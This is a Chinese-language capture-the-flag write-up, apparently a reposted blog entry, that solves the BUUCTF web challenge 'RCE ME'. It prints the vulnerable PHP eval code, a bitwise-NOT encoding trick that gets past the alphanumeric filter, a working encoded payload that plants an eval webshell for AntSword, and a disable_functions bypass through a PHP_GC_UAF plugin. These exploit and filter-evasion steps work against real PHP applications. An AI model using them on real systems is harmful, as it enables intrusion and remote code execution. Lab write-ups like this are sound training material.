CTF-Web-[极客大挑战 2019]RCE ME

CTF-Web-[极客大挑战 2019]RCE ME

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Web类,[极客大挑战 2019]RCE ME

image-20200503211847579

打开题目的实例

image-20200503211919880

思路

把代码拿过来

<?php
error_reporting(0);
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(strlen($code)>40){
    die("This is too Long.");
  }
  if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("NO.");
  }
  @eval($code);
}else{
    highlight_file(__FILE__);
}
?>

查找php的信息

image-20200503213215986

?code=(~%8F%97%8F%96%91%99%90)();

image-20200503213103646

构造一个shell连上蚁剑

使用一句话木马

<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;

 ?>

image-20200503215601722

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

image-20200503225207141

进入之后直接找根目录下的flag

image-20200503225318799

下面有两个文件,但是我们的shell不能执行命令

原因是我们之前查找phpinfo的时候,disable_functions 禁用了太多函数,我们需要绕开disable_functions

然后蚁剑有一个插件有这样的功能

image-20200503225927209

选择PHP_GC_UAF模式

image-20200503230032571

然后回进入到一个虚拟shell模式,输入/readflag,得到flag

image-20200503230340433

感谢

BUUCTF

以及勤劳的自己

原创文章 345 获赞 866 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_45163122/article/details/105914054
今日推荐